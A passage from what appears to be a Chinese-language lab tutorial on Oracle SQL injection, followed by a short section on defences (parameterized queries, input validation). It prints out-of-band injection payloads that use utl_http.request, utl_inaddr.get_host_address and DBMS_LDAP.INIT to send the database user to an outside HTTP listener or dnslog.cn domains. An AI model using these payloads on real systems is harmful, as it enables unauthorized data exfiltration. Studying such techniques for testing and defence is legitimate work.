http://127.0.0.1/oracle.php?id=IT_PROG' and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 --'

image-20210105173102629

utl_inaddr.get_host_address()

payload:

1
and utl_inaddr.get_host_address((select user from dual)||'.29qo74.dnslog.cn')='1' --

image-20210105174550521

image-20210105174601204

web视图:

image-20210105174951685

DBMS_LDAP.INIT()

payload:

1
and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'--

image-20210105174038638

image-20210105174137608

web视图:

1
http://127.0.0.1/oracle.php?id=IT_PROG' and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'--

image-20210105174212382

报错未解决如下:有可能是数据库没有这几个函数

1
Warning: oci_execute(): ORA-00920: invalid relational operator

image-20210105151625565

Oracle注入防御

1、代码层防御技术

使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的[5][6]。

2、输入验证

任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。

3、输出编码

https://cloud.tencent.com/developer/article/1672145

https://xz.aliyun.com/t/7897

https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html